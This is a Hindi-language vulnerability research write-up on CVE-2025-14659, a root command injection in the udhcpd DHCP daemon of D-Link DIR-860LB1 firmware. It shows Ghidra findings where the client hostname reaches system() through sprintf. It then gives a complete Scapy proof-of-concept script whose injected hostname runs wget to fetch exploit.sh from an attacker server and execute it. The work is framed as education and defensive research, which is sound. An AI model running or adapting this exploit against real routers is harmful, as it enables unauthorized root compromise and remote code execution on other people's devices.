
स्थिर विश्लेषण (Ghidra) और कस्टम पैकेट-क्राफ्टिंग (Scapy) जो D-Link फर्मवेयर में रूट-स्तरीय DHCP कमांड इंजेक्शन भेद्यता (CVE-2025-14659) का प्रदर्शन करता है
लेखक: Peter Lin
दिनांक: मई 2026
प्रोजेक्ट पिच: CVE-2025-14659 ने फर्मवेयर v203b03 चलाने वाले D-Link DIR-860LB1 वायरलेस राउटर में मौजूद DHCP डेमन घटक को लक्षित करने वाली एक कमांड इंजेक्शन भेद्यता की रिपोर्ट की। यह कमांड इंजेक्शन एक हमलावर को तब इस लक्षित राउटर पर root विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने की अनुमति दे सकता है जब कोई DHCP क्लाइंट किसी दुर्भावनापूर्ण होस्टनाम के साथ मौजूदा लीज़ का नवीनीकरण करता है। मैं DIR-860LB1 डिवाइस का फर्मवेयर निकालूंगा और Ghidra का उपयोग करके स्थिर विश्लेषण के माध्यम से DHCP डेमन (udhcpd) में मौजूद खामी की पहचान करूंगा। फिर मैं FirmAE जैसे एमुलेशन इंजन का उपयोग करके इस राउटर के वातावरण का एमुलेशन करूंगा, और इस लक्ष्य के विरुद्ध एक प्रूफ ऑफ कॉन्सेप्ट हमले का प्रदर्शन करूंगा।
udhcpd (DHCP डेमन)Ghidra में udhcpd_main फ़ंक्शन को देखने पर, भेद्यता ठीक case 3 (DHCPREQUEST) ब्लॉक के अंदर मौजूद है:
get_option(auStack_254, 0xc) का उपयोग करके क्लाइंट पैकेट से DHCP विकल्प 12 (होस्टनाम) निकालता है।sprintf() के माध्यम से सीधे एक स्ट्रिंग बफ़र में डाल दिया जाता है:
sprintf(acStack_454,"usockc /var/mydlinkeventd_usock NEW_DEVICE,%s,%s,%s\n", acStack_5f4, pcVar15, piVar12);
system() कॉल में पास कर देता है:
system(acStack_454);
चूंकि डेमन root के रूप में चलता है, होस्टनाम में शेल मेटाकैरेक्टर (जैसे ; या |) जोड़ने से एक हमलावर मनमाने सिस्टम कमांड निष्पादित कर सकता है।
cve_poc.py)यह कार्यात्मक Scapy स्क्रिप्ट एक दुर्भावनापूर्ण क्लाइंट का अनुकरण करती है जो इंजेक्ट किए गए होस्टनाम पेलोड के साथ लीज़ नवीनीकरण का अनुरोध करता है:
from scapy.all import *
# ===== Configuration =====
iface = "tap1_0"
mac_address = "0a:6f:8c:38:03:52"
requested_ip = "192.168.0.150"
dhcp_server_ip = "192.168.0.1"
attacker_server = "192.168.0.150:12345"
# =========================
# Injected Hostname Payload
hostname = f"; wget http://{attacker_server}/exploit.sh ; sh exploit.sh ;"
mac_bytes = bytes.fromhex(mac_address.replace(":", ""))
dhcp_request = (
Ether(src=mac_address, dst="ff:ff:ff:ff:ff:ff") /
IP(src="0.0.0.0", dst="255.255.255.255") /
UDP(sport=68, dport=67) /
BOOTP(chaddr=mac_bytes, xid=0x81de4932) /
DHCP(options=[
("message-type", "request"),
("requested_addr", requested_ip),
("server_id", dhcp_server_ip),
("hostname", hostname),
"end"
])
)
print("[*] Sending malicious DHCP REQUEST...")
sendp(dhcp_request, iface=iface, verbose=True)
print("[*] Packet sent. Check HTTP server logs.")
यदि वास्तविक दुनिया में इसका शोषण किया जाता है, तो एक हमलावर इस भेद्यता का उपयोग निम्नलिखित के लिए कर सकता है:
/tmp) में इंस्टॉल करना।अस्वीकरण: यह प्रोजेक्ट पूरी तरह से शैक्षिक उद्देश्यों, पोर्टफोलियो निर्माण, और रक्षात्मक सुरक्षा अनुसंधान के लिए बनाया गया है।